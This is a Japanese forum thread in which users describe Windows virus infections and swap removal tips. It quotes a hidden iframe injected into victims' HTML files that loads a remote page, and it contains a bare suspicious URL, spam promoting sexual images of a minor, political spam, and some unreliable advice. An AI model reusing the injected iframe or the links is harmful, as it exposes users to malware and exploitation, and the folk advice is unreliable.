O16 - DPF: {0E8D0700-75DF-11D3-8B4A-0008C7450C4A} (DjVuCtl Class) - http://downloadcenter.samsung.com/content/common/cab/DjVuControlLite_EN.cab
O16 - DPF: {0EB0E74A-2A76-4AB3-A7FB-9BD8C29F7F75} (CKAVWebScan Object) - http://www.kaspersky.co.jp/virusscanner-just/kavwebscan_unicode.cab

O16 - DPF: {17492023-C23A-453E-A040-C7C580BBF700} (Windows Genuine Advantage Validation Tool) - http://go.microsoft.com/fwlink/?linkid=39204
O16 - DPF: {1C3DE665-D259-4C72-9D7D-C51FCB4CCFB9} (Panasonic Network Camera) - http://hy2-m.miemasu.net/SysCamInst.cab
O16 - DPF: {215D1500-1B32-46B0-A9FF-A09B47D256D1} (E3FormX Control) - http://corp.s-onetelecom.com/truehome/activex/v1/E3ActiveX2.cab
O16 - DPF: {2882C368-D508-11D4-A2AB-000102598CE4} (LProtect Control) - http://download.hauri.net/Jpn/on-line/livecall.cab
O16 - DPF: {2FB29B6E-8A10-4B66-A609-6032DFEB31A6} (MXChatCtrl Control) - http://2sen.dip.jp/2sen/MXCCtrl.cab
O16 - DPF: {361E6B79-4A69-4376-B0F2-3D1EBEE9D7E2} (RtspVaPgCtrl Class) - http://221.115.88.51/RtspVaPgDec.cab

O16 - DPF: {5ED80217-570B-4DA9-BF44-BE107C0EC166} (Windows Live Safety Center Base Module) - http://scan.safety.live.com/resource/download/scanner/wlscbase969.cab
O16 - DPF: {6414512B-B978-451D-A0D8-FCFDF33E833C} (WUWebControl Class) - http://update.microsoft.com/windowsupdate/v6/V5Controls/en/x86/client/wuweb_site.cab?1120223926087
O16 - DPF: {644B05F6-5947-11D4-87D2-0000C0C881E7} (PanelX コントロール) - http://202.214.71.200/activex/jpegactInf.cab
O16 - DPF: {745395C8-D0E1-4227-8586-624CA9A10A8D} - http://219.117.194.183:211/activex/AMC.cab
O16 - DPF: {74D05D43-3236-11D4-BDCD-00C04F9A3B61} (ｳｲﾙｽﾊﾞｽﾀｰ On-Line Scan) - http://a840.g.akamai.net/7/840/537/2005111401/housecall.trendmicro.com/housecall/xscan53.cab
O16 - DPF: {87BE3784-6977-4E84-AA08-55A96B9CEAC5} (Bl_camera Control) - http://ybbvinculum.dyndns.org:81/bl_camera.cab
O16 - DPF: {8D055D88-9D00-4EEB-89EA-4E7301F7C25E} (QUICK Streamer ActiveX Control(C25E)) - http://ot2.qweb.ne.jp/qs_common/cab10038/QecClntX.cab
O16 - DPF: {93E776BB-E4E9-44A1-829B-6EBC3A6804A2} (E3FormX Control) - http://corp.s-onetelecom.com/truehome/activex/v1/E3ActiveX3.cab

O16 - DPF: {A93B47FD-9BF6-4DA8-97FC-9270B9D64A6C} (VaPgCtrl Class) - http://43.234.59.252:8080/plugin/h263ctrl.cab
O16 - DPF: {B38870E4-7ECB-40DA-8C6A-595F0A5519FF} (MsnMessengerSetupDownloadControl Class) - http://messenger.msn.com/download/MsnMessengerSetupDownloader.cab
O16 - DPF: {DD3648A8-2E16-42AE-9F65-289851F9E8C6} (fslead Class) - http://flets-square-guide.com/axfcctrl/script/axfslead.cab
O16 - DPF: {DE625294-70E6-45ED-B895-CFFA13AEB044} (AxisMediaControlEmb Class) - http://219.117.194.183:210/activex/AMC.cab
O16 - DPF: {EAB73ECD-73E2-11D4-A6ED-006097BFA1AC} (A.I.Soft PC on-line diagnosis data-sender component class) - http://pc.ai2you.com/PCshindanshi/prg/clncheck.cab
O16 - DPF: {F6ACF75C-C32C-447B-9BEF-46B766368D29} (Creative Software AutoUpdate Support Package) - http://www.creative.com/su/ocx/15010/CTPID.cab
O16 - DPF: {FE5E2BC4-B480-4788-AF1E-F9CD37034F49} (VeCamit for ADT Control) - http://ecamit.3jtech.com.tw/veCamitX.cab
O17 - HKLM\System\CCS\Services\Tcpip\..\{09D9FB76-0B50-48ED-B9D1-EA0F8A9750BB}: NameServer = 192.168.1.1
O17 - HKLM\System\CCS\Services\Tcpip\..\{AF77737B-1A3D-4C09-BFE7-44525A2474D1}: NameServer = 192.168.11.1
O17 - HKLM\System\CS1\Services\Tcpip\..\{09D9FB76-0B50-48ED-B9D1-EA0F8A9750BB}: NameServer = 192.168.1.1
O17 - HKLM\System\CS2\Services\Tcpip\..\{09D9FB76-0B50-48ED-B9D1-EA0F8A9750BB}: NameServer = 192.168.1.1
O22 - SharedTaskScheduler: Browseui preloader - {438755C2-A8BA-11D1-B96B-00A0C90312E1} - C:\WINDOWS\System32\browseui.dll
O22 - SharedTaskScheduler: Component Categories cache daemon - {8C7461EF-2B13-11d2-BE35-3078302C2030} - C:\WINDOWS\System32\browseui.dll
O23 - Service: ASP.NET State Service (aspnet_state) - Unknown owner - C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_state.exe (file missing)
O23 - Service: Active Virus Shield (AVP) - AOL - C:\Program Files\AOL\Active Virus Shield\avp.exe
O23 - Service: NVIDIA Display Driver Service (NVSvc) - NVIDIA Corporation - C:\WINDOWS\System32\nvsvc32.exe
O23 - Service: SoundMAX Agent Service (SoundMAX Agent Service (default)) - Analog Devices, Inc. - C:\Program Files\Analog Devices\SoundMAX\SMAgent.exe
O23 - Service: SoftEther VPN Client 2.0 (vpnclient) - SoftEther Corporation - C:\Program Files\SoftEther VPN Client 2.0\vpnclient.exe
O23 - Service: SoftEther VPN Server 2.0 (vpnserver) - SoftEther Corporation - C:\Program Files\SoftEther VPN Server 2.0\vpnserver.exe

--
End of file - 10993 bytes

なんだか、あらしみたいな書き込みになってしまいましたが。
どんなシステムだか丸見えですね
何か不審なところがあるでしょうか？

全部消したはずなのに、また検出され始めました。

C:\WINDOWS\uninstall\rundl132.exe
C:\WINDOWS\SYSTEM32\LYLOADER.EXE

一体どこから入ってくるのでしょう。

nwizqjsj.exe
LYLOADMR.EXE

detected: virus Worm.Win32.Viking.lu File: C:\WINDOWS\RichDll.dll/UPack/PE_Patch
detected: virus Worm.Win32.Viking.lu File: C:\WINDOWS\sys170.exe

>>中国さん
一回インターネットの回線を切断したほうがいいと思います。
書き込みなどは、セーフモード（インターネット）とか、別のPCでやったほうがいいかもしれません。

それか思い切って
http://bbs.higaitaisaku.com/cbbs.cgi
に投稿したほうがいいかもしれません。
正直かなりひどい状態になっています。
自分では申し訳ないですが、対処できません。すいません。

中国、恐るべし・・・

4番さん、ご返答ありがとうございます。

やはり重症でしたか、、、、
ファイル名でぐぐっても中国語サイトばっかり。。。

とりあえず、カスペルスキーにどうにかしろや！めーる送ってみました。
今のところ返信なし。。

日本で感染者俺だけ？？ｗ

>>143
俺は怖くないよw

>>145
すまんオマイじゃなくて中国ウイルスの事だ

改めて、中国ウイルス恐るべし！

ついさっきウイルス検索終わって
TSPY_VB.DVJって言うのが出てきました。
ネットで検索しても全く情報がないのですが・・・
クレジットカードの番号や銀行口座等情報が漏れてないか心配です・・・
ウイルスは外付けHDの
H:\System Volume Information\_restore{1ABE9C81-18A9-4095-A416-7D8F3868A6BF}\RP386
にありました。
ファイル名はA0072113.exe
情報がまったくないんでどのレジストリを削除したら良いかも分からなくて困っています。
ただ、TSPY_VB.CRRで作成されるHKEY_CURRENT_USER\SOFTWARE\Gはありました
どなたか宜しくお願いしますm(_ _)m

書き忘れてました
WinXP pro
ソフトはNTT西日本のセキュリティ対策ツール（トレンドマイクロ）

ローカルのHTMLファイルもすべて書き換えられてることが判明。




<iframe src=http://www.puma166.com/1.htm width=0 height=0></iframe>

末尾に上のような表記が追加されてるようです。

中国ウイルス恐るべし！　ていうか、ウイルス除去屋、もっとしっかりしろ。。

手作業で消すのもめんどいし、、何か良いアイデアｏｒつーるないでしょうか？

>>150
いや、これ本当以前の俺と同じ症状だわｗｗｗ
消しても消しても復活するのが中国系ウイルスなんだよねｗｗｗ
私の場合はクリーンインストールして、データ全部消して、OS入れなおしたけど、
アダ被で聞いたらもしかしたら何とかなるかもしれません。

>>147
どうやら最近見つかったウイルスのようです。
トレンドマイクロのウイルス駆除ソフトで消せると思います。

windows XP
ウイルスバスター2007(プロバイダ月額版)

先ほど検索が終わって見た所ウイルスのカテゴリに３つ引っかかっておりました。
１つは隔離済みと出ていたのですが２つは「隔離できません」と出ており画面を閉じてしまってしまったので再度検索中なのですが
２つともPAK_GENERICというタイプでした、「Hup.dll」「succubus.dll」というの感じのを覚えております。
トレンドマイクロにて調べましたが対処法などはまだ書かれていなかったのですが皆さんのお知恵をお借りしたく書き込みました。
格納場所は確かC>Documents and Settings>ユーザー名>localだったと思われるのですがそのようなファイルは無かったです。

訂正があります。
×PAK_GENERIC
○PAK_Generic.001

昨日ＭＳＮのメッセンジャーの友達からメッセージが着たんです

そこにはclick here!　あとＵＲＬが。それをクリックして実行したんです。

今日聞いてみるとそれはウイルスだったらしく

メッセの友達に自動でそのメッセージを送るというものです。他は分からないけど

avastを使用してるんですが反応がありませんでした。駆除したいんですがどうしたら良いですか？

何だか、この前２ｃｈのあるスレを開いたら、いきなりプツッて切れてしまいました。
（その時原因不明のﾋﾟｰって音が。イヤホンしてたのに他の人に聞こえてました）
でも電源が切れたわけではなく、画面が真っ暗に。
その後電源切ってまたやり直したんですけど、何分後かにまたプツッと。
段段、時間が短くなっていって、起動ボタンを押しても起動しなくなってしまいました。。
今、できてるんですが、やっぱり何分後かに。
セーフモードでも駄目でしたぁ。。これってPC古いだけなのかなぁ？

スレ違いかもわかりませんがomanchinと言うサイトを踏んでしまいました
どうすればいいでしょうか？

onligaui.exe
↑こんなのがうちの会社の中国人社員のPCに入っていた。
中国語の.NETのTipsサイト見てたら入ったらしい。

ググっても中国語ページしか出てこないから分からん。


とりあえず症状とうちで取った対処
----------------------------------------------------

症状：本体と同じフォルダにあるconfigファイルに記載された
秒数の間隔でInternetExplorerをポップアップ

対処：レジストリから削除

>>158
症状は治まりましたか？

>>159
おさまりました

>>160
ならいいですが、不安でしたらアダ被の掲示板で質問してみるといいでしょう。
中国系ウイルスは自分ではどうにもならないｗｗｗ

>>161
見捨てないでｗ

スキルアップよろ！

>>162
じゃあもうちょっと頑張ってみましょうか

コンピューター死ぬらしいコンピューター死ぬらしいコンピューター死ぬらしいコンピューター死ぬらしいコンピューター死ぬらしいコンピューター死ぬらしいコンピューター死ぬらしいコンピューター死ぬらしいコンピューター死ぬらしいコンピューター死ぬらしい

>>164
狂った書き込みを左に受け流す！

>>165
うまい！

中国もう少し粘ってみます。

質問いいでしょうか。トロイの木馬って恐ろしい事に遠隔操作ができるらしいですね。
backdoor.win32が検知されたので削除すれば、とりあえずは安心してよいのでしょうか？
幸か不幸かいわゆるアドレスや口座番号のメモはしてなかったです。

誰か助けてください。。

真っ黒な画面で真ん中に白いドクロが表示されて何も出来ないんです…

文字化けします窓を小さくするところが２とか数字になってます
どうやったらなおりますか？

>>168
オンラインスキャンしてみてください。
>>169
ドクロウイルスに感染したのか？P2Pなんてやってるからだよ。
削除の仕方はわからないな。
>>170
多分フォントキャッシュが壊れているのでセーフモードで立ち上げて再起動してみてください。

エロスレを見ていたら　ドラキュラが出て来て勝手にダウンロードを開始
パソコンの電源を切って　再起動したが　やはりダウンロード開始
一体コレって何？　誰か知っている人いる？

カスペルスキーでオンラインスキャナをしていたところ、以下のウイルスを
検知しました。バスターでは無反応だったので戸惑っています。削除方法や
危険度わかる方がいたらお願いします。お世話かけます。
感染したオブジェクト×３　　検知したウイルス×１
感染したオブジェクト名
C:\System Volume Information\_restore{3F337EE0-D1BE-492D-ABE2-F7A0954FE46A}\RP131\A0029678.exe/data.rar/wr.exe
C:\System Volume Information\_restore{3F337EE0-D1BE-492D-ABE2-F7A0954FE46A}\RP131\A0029678.exe/data.rar
C:\System Volume Information\_restore{3F337EE0-D1BE-492D-ABE2-F7A0954FE46A}\RP131\A0029678.exe

ウイルス名
Trojan-Downloader.Win32.Small.eqn

>>173
トロイ系はレジストリ改変するのが多いから削除しても被害が残る場合が多いです
OS再インストールが一番安全かと

ちなみに
＞Trojan-Downloaderそのものは、情報漏洩や悪質な広告表示など他の機能を持つマルウェアを
＞パソコン内にダウンロードしてくる役割をするものです。
＞これが今現在も動いているとしたらえらいことですが…

>>172
ドラキュラってなんですかね？
ちょっとよく意味がわかりません。
ドラキュラが出てきてというのはどういうことでしょうか？

>>173
バスターは信用できんよ。

>>173
すいません、見逃してました。
確かに中国さんの言うとおり、バスターは最悪です。
パソコンは重くなるし、誤検出もあるし。
他のところでもオンラインスキャンしてみてはどうでしょうか？

>>174　>>176　>>177
みなさんお騒がせしました。バスターでの検知及び駆除は
あきらめて、再セットアップしました。
購入当時のＰＣに戻りサクサク動いています。くせになりそうです。

インターネットに接続したら変な外国の広告が出てくるし
フリーズばっかりだし
iPod買ったんだがパソコンがフリーズして未だ一曲も入れれない・・・・。
かなりのパソコン初心者で自分で直すの無理だから修理窓口に電話してみようかな・・・・・
大体いくらぐらいかかりますか？

>>178
よかったですね。今度はセキュリティを高めて感染しないように心がけましょう

>>179
場合によるけど多分データは全部消えるよ。修理に出す前にバックアップとってな。
どのくらい掛かるかはわからない。

http://c-au.2ch.net/test/-/mass/1183191945/i#b
http://c-au.2ch.net/test/-/soc/1152718893/i

昨日ａｖａｓｔ！が突然なんの脈絡もなくトロイの警告を出してきた。
隔離できないので削除したんだけどしつこく何度も復活してくる。
５〜６回削除したころ復活しなくなったのでそのまま使ってシャットダウンしたんだけど
今日立ち上げたら読み込みの途中でブルースクリーンになって
c000021a unknown errorが出て立ち上がらなくなってしまった。
偶然にもFDDドライブまで逝ってしまって手間取ったがバックアップしておいた
マイリカバリデスクで今復帰したがこれが噂の中国産のトロイか。
中国の怪しいサイトにいくつか行った覚えはあるがだいぶ前だし昨日はそれらしいこと
してないので今まで潜伏してたわけかな。

KINGSOFTでウィルススキャンしたら、発見したウィルスが
4000件超えた＼(^o^)／

女の子と話せません
ウイルスでしょうか？

>>182
avastなんて使わずにAVS使えばいいのに…

学校サボった女子高生が制服姿のまま
まんまんや尻の穴をうｐして大ハシャギ中
いよいよ高校名も特定完了？

【16♀】うｐして見られるのがクセになってきた【露出狂？】
http://wwwww.2ch.net/test/read.cgi/news4vip/1184722969/

ウイルスバスター2006のリアルタイム検索でウイルスが見つかって
手動で〜って何回も出てたのですが、
2007にアップグレードしたら表示されなくなりました。
これは、駆除or隔離できたと思っていいのでしょうか？
すみません、教えてください

>>187
とりあえず、カスペルと、ノートンのオンラインスキャンでチェック。

ｳｲﾙｽに感染してしまい歌等を保存していた外付けHDの中のフォルダのアイコンが表示されなくなりました(>_<)助けてください(>_<)

http://c-au.2ch.net/test/-/mass/1183191945/i#b
http://c-au.2ch.net/test/-/occult/1177745146/i#b
http://c-au.2ch.net/test/-/zassi/1128482666/n
http://c-au.2ch.net/test/-/mass/1155146160/i

携帯から失礼します。
先程、トロイの木馬に感染してしまいました。
パソコンは、家電でしかない自分にとって、全く知識はありません。
マカフィーに、今ウイルススキャンさせてますが
正直、何をどうしたらいいかわかりません。
パソコンの無い生活に戻るしかないですか？

>>191
仕方がない。

リカバリーすること。

データは全て無くなるけど、ウイルスも無くなるよ！

>>191
パソコンは動かなくなったのですか？

>>188
オンラインスキャンでウィルスは見つからなかったです。
これって…大丈夫ってことですよ…ね？

>>194
多分大丈夫だと思います。
不安でしたらHijack Thisのログをお願いします。

>>191 ですが、パソコンの初期設定は業者にやってもらいました。
初期設定のデータは保存してませんでしたし、リカバリーと言われてもやり方がわかりません。

マカフィーから
「トロイの木馬に感染しました。自動消去出来ませんでした。」 とメッセージがでました。
その後で、遠隔と言うのをやるとウイルスか消えましたが、このスレをロムって見ると、どうもそんなに簡単なものでもないとわかり、不安になりました。
週に何度かパソコンを使う程度の者には、とても難しい問題です。
リカバリーが必要なら、必死こいて説明書を読んでリカバリーしますが、時間があまりないし。
消えたとは言え、このままではまずいですかね？

携帯から失礼します。
私もそのドクロウィルスとやらに感染してしまったんですが直し方はないのでしょうか？

>>197
ドクロは自業自得です。解決方法はありません

>>196
ウイルスは消えたんですね。
簡単に消せるものなら大丈夫です。
消せないものに感染した場合はリカバリ必須となります。
貴方の場合は大丈夫だと思いますよ。

>>197
ドクロはP2Pやるから入るんだよ。
やらないようにしようよ。

>>197
fooさんの削除方法試してみてや。
ttp://forum.higaitaisaku.com/viewtopic.php?t=1307

>>199 レスどうもです。
トロイの木馬は 消えました。
何度かマカフィーでスキャンしたけど出てきません。
初期データ保存をしておけば良かったと今になって後悔しています。
今の状態 (トロイの木馬を消去した後) を保存すべきか
初期設定を業者頼んでやり直すべきか悩んでいます。
どうしたら良いでしょうか？

ウィルス見つかって、無視するか解決か除外のどれが一番いいの？

久しぶりにJWord感染した。。。。。。

どうやって除去するんだっけ？？？


>>202
理想は、リカバリー。

先程、原田ウイルスOOとかいうのに感染しました
画像がでてすぐに電源落としたのですがいくつかの動画等がビットマップに書き換えられてしまいました。
他に被害はみられないのですが大丈夫でしょうか…
感染元とみられるファイルは削除したのですが何か対策とかあったら教えてください

>>203

選択肢、無視と解決と除外しかないんですけど、リカバリーってどれっすか？

>>201
それは自分で決めたほうがいいと思います。すいませんね。
>>202
中国さんの言うとおりリカバリーするのが一番いいでしょうね。
>>203
Jwordってコンパネでアンインストールできなかったっけ？
あれ自分も感染？したけど勝手にインストールされるから嫌ですよねｗｗｗ
>>204
P2Pはやめましょうね。
>>205
除外に近いんじゃないですか？多分。よくわからないですね。

IEを起動しても「ページを表示できません」ってなる上にオンラインゲームが
できなくなったんですけどウイルスにやられたんですかね？
スキャンして検出されたのは削除したんですけど直らないんです。
ちなみに今使ってるファイヤーフォックスは普通に使えるんですよ。
パソコン初心者なのでどうしたらいいのか分からずお手上げです。

>>205
そんな分かりずらい選択肢を出すのは、一体どんなソフトなんだろう。。。

無視は、論外。
解決＝駆除？
除外＝削除？

検出されたのが、ウイルス本体のみなら、駆除は出来ないから、除外かな。

>>207
串いじられたのかな？
それだけだと分からんから、４さんにバトンｗ

>>207
自分もそれだけじゃわからないおｗｗｗ
もしかしたら結構重症かもなので、私のサイトの掲示板に書き込みお願いします。

>>208

ノートンです。

>>209
初心者なので串はいじってません。
しかしウイルス対策ソフトなどを入れずにwinnyを使っていたので、
やはりそれが原因でしょうか？
しかしそのwinnyもなぜだか動かなくなってしまいました。
>>210
そのサイトはどこなのか教えていただけるとありがたいです。

>>200さん、ありがとうございます、今からやってみます！

いきなり画面が青くなりそこに英語がたくさん出てきたのですがウイルスですか？
私はウイルスでなくてエラーだと思います。

うpってなに？

>>212
初心者なのにwinnyって…
危機管理能力が足りないなあ…
キンタマに感染して人生終らしてる人ってこういう人が多いんだろうな…

取りあえず初心者はP2Pに手を出すなよ〜
タダのモノには裏があると思ったほうがいい
nyで流れてる有料アプリとかには気づいてないだけで必ずといって良いほどウイルスが仕込まれてるぞ
山田や原田の亜種は数が多すぎて市販セキュリティソフトでも対応が追いついてないから
気づかずに個人情報垂れ流してる人多そうやね

P2Pって何？プレイヤー セカンド ポインターの略？

XPです。　外付けHDに保存していたﾌｫﾙﾀﾞのｱｲｺﾝにｶｰｿﾙを合わせると確かに40GB入ってることに数字上ではなってるんですが開くと元々あったﾌｧｲﾙが表示されなく空なんです。ｽﾊﾟｲｳｪｱやｳｨﾙｽは全て駆除したのに症状は変わらないんです(>_<)

>>212
です。キンタマや山田を調べてみましたがイマイチよく分かりませんでした。
とりあえず、winnyとそれでダウンロードしたものは全部削除しといた方が良いですかね？

一年前山田(キンタマ？)に感染しフォーマットのやり方わからなくて回線引っこ抜いて放置してたんですが、
今日ウイルススキャンしたら何故かウイルスが一つも出てきません。ウイルスって勝手に消えてくれるんですか？
もう繋いでも大丈夫でしょうか。

>>221
検出できないだけかと

なんかたまに血しぶきみたいなのが画面に
でてくるんですがこれってウイルスですか？

>>221
ウイルス対策ソフトの期限切れかと。
>>223
その画面のアップお願いします。

フォーマットに必要なディスクみたいな奴なくしてしまったんですが、この場合は買うしかないですか？
XPのパソコンなんですが今はもうビスタしか売ってないんでしょうか。またその場合いくらかかりますか

>>225
XPはまだ売ってますよ。

>>224
http://vista.o0o0.jp/img/vi8527354512.jpg
4さんアップしてみました
鑑定お願いします

>>226
2万円もするんですね。諦めますありがとうございました

いまパソコンしていたらMcAfeeからの知らせで
「ウイルスが検出されました。ウイルスを駆除できません」と出ているのですが
どうすればよいでしょうか？
パソコン初心者なのでぜんぜんわからなくて・・・

>>229
1.CtrlとAltとDeleteキーを一緒に押す。
2.タスクマネージャーを起動して「プロセス」てのを押す。
3.McAfeeが教えてくれたファイル名をプロセスの一覧から探して、終了させる。
4.ファイル検索でMcAfeeが教えてくれたファイル名を探してファイルを削除する。
　まちがってもダブルクリックしないように。

>>230
もう隔離するを選んだら感染したファイルが削除されたんですがそれじゃだめですか？

>>231
OKだと思う。

ウィルスとかではないのですが書き込みをすると個人情報が
もれるとどこかで聞いたことがあるのですが本当なのでしょうか？

再びすみません
キンタマがウイルススキャンで引っかからなくなってしまったんですが、どうやって処理したらいいですか？
オンラインスキャンするのにネットに繋いだら個人情報漏れちゃいますよね。
感染してから30分くらいでネット切ってそれ以来繋いでないから現時点では漏れてないと思うんですが

>>233
技術的にはインターネットの通信経路を盗聴できるらしい。
だから通販などクレジットカードや住所etc.を入力させるような場合は暗号化された通信を普通は行う。
IEなんかだと初期状態で暗号化されたページとそうでないページを移動するときに確認メッセージがでる。

だから2chや掲示板で個人情報は書き込まないほうが吉。

>>234
携帯からなのか？とりあえずどうにかここ見てくれ。
おいらにはよくわからん。
http://myui.s53.xrea.com/kin/

友達のアドレスからzipファイルが送られてきて
それを見たらメッセが使えなくなったけど、そのファイルを削除したら普通に使えるように回復
しかしそれは本人は送ってなく、調べてみるとワームだったらしい

だけどその後一回シャットダウンしたら極端に重くなり、起動はするものの何も出来ない状況に陥ってる

こういう場合の対処方を教えてもらえないでしょうか
ウイルスバスターの類は入ってません

>>237
バスターは入れましょう。
まずタスクの画像とかアップできますか？

>>235
そうですか！ありがとうございます。

シマンテックのオンラインウイルススキャンをしたら次のような
ウイルスが検出されたんですがどうしたらいいんでしょうか。

D:\TEMP\optserve.exe は　Adware.Optserve に感染しています。
C:\WINDOWS\system32\UpdateOptserve.exe は　Adware.Optserve に感染しています。
C:\Program Files\tora3\2chtubo\log\wwwww.2ch.net\news4vip\1181707745.dat は　VBS.Freelink.B に感染しています。
C:\Program Files\tora3\2chtubo\log\cocoa.2ch.net\famicom\1025169635.dat は　VBS.LoveLetter.A に感染しています。

>>240
直接削除してみなはれ。
削除できなかったら
>>230
を参考にMcAfeeを読み替えてトライ

質問です。
「くーる」と打ったら「アニキ」と変換されました。
これは何かウィルスに感染してるのでしょうか？
それとも普通のことなのでしょうか？

>>240
直接削除できました

一時間前に「高危険(←はっき覚えてないのですが)ウイルスに感染しました」と表示されたのですがまったくの初心者でどうしていいかわからず業者に頼むのが良いと思いそのままの画面で放置してあるのですが大丈夫でしょうか？
それとも一回ｼｬｯﾄﾀﾞｳﾝしたほうが良かったのでしょうか…


ちなみに警告が表示される前に今まで観ていたｻｲﾄがﾌﾗｯｼｭﾊﾞｯｸみたい？になってそのあと警告がでました。些細な情報でもいいのでお願いします！

>>244
回線は切ってあるんだよね　対策ソフトは何入れてるの？
スキャンして駆除や隔離できれば問題ないと思うけど…
フラッシュバック？　なんてウィルスだろ

先ほどピーチチューブなるものに登録されました
知人の話では詐欺であるとのことでしたが、本当に大丈夫なのでしょうか
もしよければ教えてください
とても不安です

>>246
ただのワンクリならシカト
一応ウィルススキャンして　何かもらってないか確認

1111.845845.cn/xi.htm

>>247どうもワンクリのようです。とりあえず無視しときます
これからウイルスをチェックしてみます

パソ買って間もない私ですが、MSNホットメールの受信メール開いたら
ワームが出てきたんですが･･（手紙を開くことすらできません）
これってどうやったら消せるんでしょうか??
avastで念のためC:ﾛｰｶﾙを検査してるんですけど

選挙に行っても何も変わらないし…と思っているアナタ！
一度でいいからこれを見てください。

ＮＨＫ新風政見放送

その１
http://jp.youtube.com/watch?v=nv6OtRDVJSA
その２
http://jp.youtube.com/watch?v=FrrtmowoWwo

ちなみに、基本主張は
■サラ金・パチンコの壊滅
　→グレーゾーン撤廃・パチンコに高率の間接税をかけて国営カジノを創設
■教育の正常化
　→日教組の解体／道徳教育の復活
■安心・安全な社会
　→不法滞在外国人の強制送還／入管法の強化／雇用者罰則強化
■在日特権の廃止
　→特別永住資格付与制度の見直し
■「政教一致」問題
　→公明党の政界からの追放！
■国家反逆罪の制定
　→極左・総連・カルト宗教の解散
■偏向マスメディア
　→マスコミ監視制度の創設／特権の廃止

PHP_SHELL.Gってウイルスがインターネット一時ファイルから見つかったんですが
対応はインターネット一時ファイルの削除だけでいいのでしょうか。

ウイルスバスターでウイルス検索中なんですけど検出数のとこに26って出てるんですけど、それってウイルスがあるってことですよね？

終わるまで待て
クッキーの可能系もある

>>254
スパイウェア クッキーがでてきました。どうすればいいでしょうか？

>>255
くっきーは２ｃｈのじゃないかな？
ちょっと出て来たの書いて味噌。

クッキーはスパイウエアじゃないよ
削除したかったらすればいいししたくなかったらしなくてもいいと思う
詳しくはググレカレー

削除する場合はインターネットブラウザのツールからオプションに進んで
クッキーの削除ってとこをクリックすればおｋ

>>252
インターネット一時ファイルを削除してもう一度スキャンしてみなされ
たぶんOK

>>255
スパイウェア クッキーって多分「トラッキングクッキー」の事だと思うけど　そうなら放っておいてもOKなんじゃないかな
でも　バスター使ったならスキャン後にスパイ、ウィルス、Sホールの検索結果が出たよね？
スパイを表示して全て削除をすれば　全部消えると思いますよ
あるいはCookieとTemporary Internet Filesを全削除で

TyoianHouseというウイルスに感染して、どうせ検疫削除で済むだろうと思いましたが無理みたいです。ネットにも繋げる事ができません。ウイルスソフトはシマノテックです。どうすればよろしいですか？申し訳ありません…

シマノテックってノートンって事ですよね？
削除というか隔離できないんですか？
最悪　リカバリで

2chブラで画像を見ても
そこにアクセスしなきゃ大丈夫ですよね？
まだ怖くてつかってないんです

すいません使いますた。

ウイルスに感染して隔離できなくて手動で処理して下さいってあったんでﾎﾟｯﾌﾟｱｯﾌﾟに表示されたウイルスのファイル名を検索して削除して消えたと思ったらまた戻ってくるんですが…
どうなっているのでしょうか？
ちなみにパソコンが今糞重いからセーフモードにしてやりました

きのう間違ってピンク版の画像のとこにアクセスしますた。
ファイアーフォックスが重いおかげですぐけしたのですが
今こんなのがAvira Antivir から出てきました（バスターも入ってるがスルーされた模様）
contains signature of the HTML script virus :HTML/EXPloit.Mhtml　
↑隔離してくれましたので大丈夫ですよね？

詳細
C:\hiberfil.sys
[WARNING] The file could not be opened! ←気になる
C:\pagefile.sys
[WARNING] The file could not be opened!
C:\Users\＊＊＊＊\AppData\Local\VirtualStore\Program Files\Live2ch\log\love6.2ch.net\aasaloon\1165570289.dat　　←元凶
[DETECTION] Contains signature of the HTML script virus HTML/Exploit.Mhtml
[INFO] The file was moved to '46e0b750.qua'!

>>261
課スペルから抜粋。。。。。
Exploit.HTML.Mht
警告レベル： 緑(低)
別名
Exploit.HTML.Mht (Kaspersky Lab) は以下の名称でも知られています:
Exploit-MhtRedir.gen (McAfee), Exploit:HTML/MhtRedir.gen* (RAV), HTML/Exploit.Mhtml (H+BEDV), Exploit.HTML.MHTRedir.1n (ClamAV), Exploit/Mhtredir.gen (Panda)
登録日 2004年7月6日　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　↑お前のじゃ！！
動作分類 ハックツール(Exploit)
技術情報
このファィルは、Internet Explorer のセキュリティの脆弱性を使って、悪意があるプログラムをＰＣにダウンロードしてインストールするように試みるインストラクションを含んでいます。
隔離したからどうなんだろう・・・平気じゃにかな？

あげ

ウイルスにやられて何も出来ない状態になったのでHD変えました。XPからMEにしたのでウイルスは入ってないですよね？今のところは何も起きません。

>>268
最弱OS　Meにしたんかｗ　頑張れ　

初めて書き込みます、不手際な所がありましたらお許し下さい。
先日、MSNメッセンジャーを起動していたところ、友人から無言でURLを貼り付けたメッセがきました。
この友人からはよく無言でURLだけを貼り付けてくるので、何の違和感ももたずにクリックしてしまいました。
そうしたら、どうやらウイルスをDLするURLらしく、アンチウイルスソフトから警告がでました。
いつもどおり削除して安心していたところ、1時間後くらいにまた同じ警告が…。
その後、PCを起動するたびに同じウイルスが復活し、削除しても1時間後くらいに同じ警告がでて大変困ってます。

当方アンチウイルスソフトは「avast!」を使っており、その際にでた警告なのですが、

場所：C:\WINDOWS\system32\atraslay.dll
ウイルス名：Win32:Warezov-CLA [Wrm]

場所：C:\WINDOWS\system32\icwpslbi.exe
ウイルス名：Win32:Warezov-BXK [Wrm]

場所：C:\WINDOWS\system32\iissmspb.dll
ウイルス名：Win32:Warezov-BUA [Wrm]

となっていました。
PCに詳しい友人に聞いて、色々対処法を試したのですが、駆除できずじまいでお手上げ状態です。
どなたかこのウイルスの駆除方法をご存知の方はご教授願います。

質問です。
自分はドがつくPC初心者なんですが、
今日、自分のPCを家のLANケーブルをつかって
インターネットに接続し
1〜2分ヤ○ーをひらいたのですが
急にウィルスが怖くなって
すぐシャットダウンしケーブルを外しました。
数時間後、家族用でネットにつないであるPCで
ネットから画像などをとって
USBメモリーを利用して
自分のPCにうつしたら
ﾏｶｰﾌｨｰがトロイの木馬をみつけました。
どうすればいいのかわからなかったので
ファイルを削除するを選びました。
トロイはいつ入ってきたのでしょうか？
PCは大丈夫なのでしょうか？
一応スキャンしたところなにもみつかりませんでした。

www2.stran
これ危険なんですか？

>>269 昔使ってたノートパソコンのHDをつかってる。なるべくHD買って2000にしたいのだが中学生だから金がないorz

急ぎの質問でしたので、他の掲示板で質問させていただく事にしました。
これにて>>270の質問は締め切りたいと思います。
お騒がせいたしました。

最近ダンロード等してないはずがＣドライブの空き容量が増えていっているようなのですがウイルス等関係あるのでしょうか？対処等情報お願いします・・・

